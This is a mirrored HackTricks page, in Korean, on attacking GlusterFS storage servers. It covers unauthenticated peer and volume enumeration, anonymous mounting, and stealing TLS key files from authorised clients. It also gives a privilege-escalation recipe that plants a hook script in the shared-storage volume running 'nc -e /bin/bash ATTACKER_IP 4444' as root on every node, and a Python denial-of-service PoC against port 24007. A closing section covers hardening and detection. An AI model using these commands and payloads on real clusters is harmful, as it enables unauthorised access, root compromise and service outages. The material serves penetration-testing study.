mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
116 lines
5.2 KiB
Markdown
116 lines
5.2 KiB
Markdown
# 24007-24008-24009-49152 - Pentesting GlusterFS
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Basic Information
|
||
|
||
**GlusterFS**는 여러 서버의 저장소를 하나의 **통합 네임스페이스**로 결합하는 **분산 파일 시스템**입니다. 관리 데몬(`glusterd`)은 기본적으로 **24007/TCP**에서 수신 대기하며, **49152/TCP**에서 시작하는 데이터 평면 브릭에 지시합니다(브릭당 하나의 포트, 증가하는 방식). 9.x 이전 버전은 브릭 전송을 위해 **24008–24009/TCP**를 사용했으므로, 레거시 클러스터에서 여전히 이러한 포트를 접할 수 있습니다.
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
24007/tcp open glusterd GlusterFS (RPC)
|
||
49152/tcp open gluster-brick SSL (TLS optional)
|
||
```
|
||
> 팁: 24007은 스토리지 전용 노드가 **볼륨**을 내보내지 않을 때에도 RPC 호출에 응답합니다. 따라서 이 서비스는 대규모 인프라 내에서 신뢰할 수 있는 피벗 대상입니다.
|
||
|
||
## 열거
|
||
|
||
공격하는 박스에 클라이언트 유틸리티를 설치하십시오:
|
||
```bash
|
||
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
|
||
```
|
||
1. **피어 검색 및 상태**
|
||
```bash
|
||
# List peers (works without authentication in default setups)
|
||
gluster --remote-host 10.10.11.131 peer status
|
||
```
|
||
2. **볼륨 정찰**
|
||
```bash
|
||
# Retrieve the list of all volumes and their configuration
|
||
gluster --remote-host 10.10.11.131 volume info all
|
||
```
|
||
3. **권한 없이 마운트**
|
||
```bash
|
||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
|
||
```
|
||
마운트가 실패하면 클라이언트 측에서 `/var/log/glusterfs/<vol_name>-<uid>.log`를 확인하세요. 일반적인 문제는 다음과 같습니다:
|
||
|
||
* TLS 강제 적용 (`option transport.socket.ssl on`)
|
||
* 주소 기반 접근 제어 (`option auth.allow <cidr>`)
|
||
|
||
### 인증서 문제 해결
|
||
|
||
권한이 있는 클라이언트 노드에서 다음 파일을 훔쳐서 `/etc/ssl/` (또는 오류 로그에 표시된 디렉토리)에 배치하세요:
|
||
```
|
||
/etc/ssl/glusterfs.pem
|
||
/etc/ssl/glusterfs.key
|
||
/etc/ssl/glusterfs.ca
|
||
```
|
||
---
|
||
|
||
## 알려진 취약점 (2022-2025)
|
||
|
||
| CVE | 영향을 받는 버전 | 영향 | 비고 |
|
||
|-----|-------------------|--------|-------|
|
||
| **CVE-2022-48340** | 10.0–10.4, 11.0 | 네트워크를 통해 접근 가능한 `dht_setxattr_mds_cbk`에서의 use-after-free | 원격 **DoS** 및 가능한 RCE. 10.4.1 / 11.1에서 수정됨. |
|
||
| **CVE-2023-26253** | < 11.0 | FUSE 알림 핸들러에서의 경계 초과 읽기 | 조작된 FS 작업을 통한 원격 충돌; 공개 PoC 사용 가능. |
|
||
| **CVE-2023-3775** | < 10.5 / 11.1 | `gluster_shared_storage`를 마운트할 때 잘못된 권한 검증 | 인증되지 않은 클라이언트가 관리 볼륨을 마운트할 수 있게 함 – 아래에 설명된 **priv-esc**로 이어짐. |
|
||
|
||
> 항상 모든 노드에서 `gluster --version`을 확인하십시오; 부분 업그레이드 후 이질적인 클러스터가 일반적입니다.
|
||
|
||
### `gluster_shared_storage` 악용 (권한 상승)
|
||
|
||
최근 버전에서도 많은 관리자가 지리적 복제를 단순화하기 위해 특별한 `gluster_shared_storage` 볼륨을 세계 읽기 가능하게 남겨둡니다. 이 볼륨은 모든 노드에서 **root**로 실행되는 cronjob 템플릿을 포함하고 있습니다.
|
||
```bash
|
||
# 1. Mount admin volume anonymously
|
||
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
|
||
|
||
# 2. Drop malicious script that gets synchronised cluster-wide
|
||
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
|
||
#!/bin/bash
|
||
nc -e /bin/bash ATTACKER_IP 4444 &
|
||
EOF
|
||
chmod +x /tmp/gss/hooks/1/start/post/test.sh
|
||
|
||
# 3. Wait until glusterd distributes the hook and executes it as root
|
||
```
|
||
`hooks/1/`가 없으면 `/ss_bricks/`를 찾아보세요 – 정확한 경로는 주요 버전에 따라 다를 수 있습니다.
|
||
|
||
### 서비스 거부 PoC (CVE-2023-26253)
|
||
```python
|
||
#!/usr/bin/env python3
|
||
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
|
||
import socket, xdrlib, struct
|
||
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
|
||
with socket.create_connection(("10.10.11.131",24007)) as s:
|
||
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
|
||
s.send(p.get_buffer())
|
||
```
|
||
`glusterfsd` < 11.0을 실행하면 충돌합니다.
|
||
|
||
---
|
||
|
||
## 강화 및 탐지
|
||
|
||
* **업그레이드** – 현재 LTS는 11.1 (2025년 7월)입니다. 위의 모든 CVE가 수정되었습니다.
|
||
* 모든 브릭에 대해 **TLS**를 활성화합니다:
|
||
|
||
```bash
|
||
gluster volume set <vol> transport.socket.ssl on
|
||
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
|
||
```
|
||
* CIDR 목록으로 클라이언트를 제한합니다:
|
||
|
||
```bash
|
||
gluster volume set <vol> auth.allow 10.0.0.0/24
|
||
```
|
||
* 관리 포트 24007을 **프라이빗 VLAN**에서만 노출하거나 SSH 터널을 통해 노출합니다.
|
||
* 로그를 모니터링합니다: `tail -f /var/log/glusterfs/glusterd.log` 및 **audit-log** 기능을 구성합니다 (`volume set <vol> features.audit-log on`).
|
||
|
||
---
|
||
|
||
## 참조
|
||
|
||
* [GlusterFS 보안 권고](https://docs.gluster.org/en/latest/release-notes/#security)
|
||
* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
|
||
{{#include ../banners/hacktricks-training.md}}
|